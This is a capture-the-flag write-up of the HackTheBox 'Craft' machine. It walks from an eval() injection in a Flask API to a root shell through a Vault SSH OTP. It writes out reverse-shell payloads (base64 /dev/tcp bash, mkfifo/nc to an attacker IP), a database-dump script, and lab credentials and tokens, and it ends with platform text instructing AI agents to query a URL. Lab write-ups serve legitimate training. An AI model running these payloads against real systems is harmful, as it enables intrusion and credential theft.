> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cpts-track/htb-craft.md).
# HTB - Craft
## NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: nginx/1.15.8
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| tls-alpn:
|_ http/1.1
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Issuer: commonName=Craft CA/organizationName=Craft/stateOrProvinceName=New York/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-02-06T02:25:47
| Not valid after: 2020-06-20T02:25:47
| MD5: 0111 76e2 83c8 0f26 50e7 56e4 ce16 4766
| SHA-1: 2e11 62ef 4d2e 366f 196a 51f0 c5ca b8ce 8592 3730
|_SHA-256: 8828 6ef6 f2bb 87e6 58a3 f3ba 1ddf 15ef 8e97 4f3d cd81 237a c6c1 e036 3d6b 863e
6022/tcp open ssh Golang x/crypto/ssh server (protocol 2.0)
| ssh-hostkey:
|_ 2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
```
### HTTPS - 443
Clicking on the API results in a request to `api.craft.htb` domain with a error. Add the domain to hosts.
Found another domain in the source of the page. Add it to the hosts too.
Exploring the repos found credentials for dinesh.
Using the credentials i can send a login request through the API .
Logging in with the credentials gives us a token.
On the git repo, dinesh mentioned a fix for bogus ABV Values.
There the issue is. The developer tried to validate that ABV is a sane value (should be between 0 and 1 as a decimal) by doing:
They used `eval()` which executes **anything** you put in — that's the vulnerability.
```bash
'%s > 1' % "0.5" → "0.5 > 1"
'%s > 1' % "15.0" → "15.0 > 1"
'%s > 1' % "hello" → "hello > 1"
eval("0.5 > 1") → False (normal)
eval("15.0 > 1") → True (returns 400 error)
eval("__import__('os').system('id')") → runs system command!
# Normal user sends abv = "0.5"
eval('0.5 > 1') # just a comparison, fine
# Attacker sends abv = "__import__('os').system('id')"
eval("__import__('os').system('id') > 1")
# ↑ THIS PART RUNS FIRST as actual Python code!
# executes 'id' command on the server
```
The vulnerability exists because the developer used eval() to validate the ABV field, which is supposed to accept only a decimal/float value like 0.5. The correct approach would have been to use float(), which strictly accepts only numeric input and throws an error for anything else. However, since eval() was used instead, it accepts absolutely anything as input — numbers, strings, characters, or even Python code and system commands. This means an attacker can pass malicious code in the abv field instead of a simple number, and the server will blindly execute it, leading to Remote Code Execution (RCE).
To craft the payload we need active token which we got by logging through dinesh credentials.
```bash
curl -H 'X-Craft-API-Token: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNzgwMTU0OTU2fQ.QMw6qXnTain7fYQjGa5BTrZwEbwy6vgEp8Jw3S0A8Xo' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "__import__(\"os\").system(\"echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTcwLzQ0NDQgMD4mMQo= | base64 -d | bash\")}'
```
## Abusing Python Eval Statements
```bash
──(ajay㉿kali)-[~/Downloads]
└─$ TOKEN=$(curl -s -k -X GET "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" \
-H "accept: application/json" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
curl -s -k -X POST "https://api.craft.htb/api/brew/" \
-H "accept: application/json" \
-H "Content-Type: application/json" \
-H "X-CRAFT-API-TOKEN: $TOKEN" \
-d "{\"id\": 0, \"brewer\": \"x\", \"name\": \"x\", \"style\": \"x\", \"abv\": \"__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.170 4444 >/tmp/f')\"}"
```
## Shell as Root
there is settings file that is being called.
but i dont find the [settings.py](http://settings.py/) here. but i found it in the craft\_api directory.
```bash
opt/app/craft_api # cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production
# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
/opt/app/craft_api #
```
[dbtest.py](http://dbtest.py/) tests connection to database. we can alter the code to dump the users database.
```bash
/opt/app # python -c "
import pymysql
from craft_api import settings
conn = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
c = conn.cursor()
c.execute('SELECT * FROM user')
print(c.fetchall())
conn.close()
"
```
`gilfoyle : ZEU3N8WNM2rh4T`
## Shell as Gilfoyle
Using the creds i was able to login through the gogs instance.
Found the private key for gilfoyle in the repo. extracted it to the attack host and used ssh to get a shell.
the environment variables has a vault address.
### Vault Linux API
Since Vault is actively configured in your environment, your immediate goal should be checking if gilfoyle has any existing Vault tokens, credentials, or misconfigurations that allow you to interact with the Vault API to dump secrets (like root passwords, SSH keys, or database credentials).
there is a vault-token
```bash
gilfoyle@craft:~$ cat ~/.vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
gilfoyle@craft:~$ vault status
Key Value
--- -----
Seal Type shamir
Initialized false
Sealed false
Total Shares 5
Threshold 3
Version 0.11.1
Cluster Name vault-cluster-cb7e66f9
Cluster ID 8bb98351-0148-3c42-d124-45a87dc43db7
HA Enabled false
#vault binary is installed on the machine
gilfoyle@craft:~$ export VAULT_TOKEN="f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9"
gilfoyle@craft:~$ vault token lookup
Key Value
--- -----
accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
creation_time 1549678834
creation_ttl 0s
display_name root
entity_id n/a
expire_time
explicit_max_ttl 0s
id f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
meta
num_uses 0
orphan true
path auth/token/root
policies [root]
ttl 0s
gilfoyle@craft:~$
Root Token. This means you have full, unrestricted administrative control over this Vault instance. You can read every secret, configuration, and backend policy stored on this server.
gilfoyle@craft:~$ vault secrets list
Path Type Accessor Description
---- ---- -------- -----------
cubbyhole/ cubbyhole cubbyhole_ffc9a6e5 per-token private secret storage
identity/ identity identity_56533c34 identity store
secret/ kv kv_2d9b0109 key/value secret storage
ssh/ ssh ssh_3bbd5276 n/a
sys/ system system_477ec595 system endpoints used for control, policy and debugging
```
```bash
gilfoyle@craft:~$ vault list ssh/roles/
Keys
----
root_otp
```
The role name `root_otp` gives away the exact mechanism in play. Instead of using SSH Certificates, this engine is configured for **One-Time Passwords (OTP)**.
Vault's SSH OTP engine works by dynamically creating a single-use password for a specific user. When you request an OTP for `root`, Vault returns a random password string. Simultaneously, a Vault helper daemon running on the host system intercepts the SSH authentication attempt, verifies the password with Vault, and lets you in—deleting the password immediately after use.
Since you are already a root administrator inside Vault, you can simply ask Vault to issue you an OTP for the `root` user.
```bash
gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=127.0.0.1 username=root
Key Value
--- -----
lease_id ssh/creds/root_otp/3527607c-3c06-ecd6-e195-6a6ed46eb5c9
lease_duration 768h
lease_renewable false
ip 127.0.0.1
key d9816c5e-e108-6187-e59d-ebde2040ab51
key_type otp
port 22
username root
gilfoyle@craft:~$
```
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cpts-track/htb-craft.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
